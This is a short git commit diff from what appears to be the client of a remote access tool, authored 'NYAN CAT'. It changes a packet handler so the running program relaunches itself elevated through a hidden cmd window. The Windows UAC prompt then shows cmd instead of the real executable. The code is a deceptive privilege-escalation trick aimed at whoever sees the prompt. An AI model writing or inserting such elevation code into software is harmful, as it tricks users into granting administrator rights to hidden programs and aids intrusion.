Ask UAC as CMD

This commit is contained in:
NYAN CAT 2019-06-28 20:52:13 +03:00
parent 85c3f6b674
commit cf102c6382

View File

@ -23,10 +23,11 @@ namespace Client.Handle_Packet
{ {
StartInfo = new ProcessStartInfo StartInfo = new ProcessStartInfo
{ {
FileName = Process.GetCurrentProcess().MainModule.FileName, FileName = "cmd",
Arguments = "/k START \"\" \"" + Process.GetCurrentProcess().MainModule.FileName + "\" & EXIT",
WindowStyle = ProcessWindowStyle.Hidden, WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true, Verb = "runas",
Verb = "runas" UseShellExecute = true
} }
}; };
proc.Start(); proc.Start();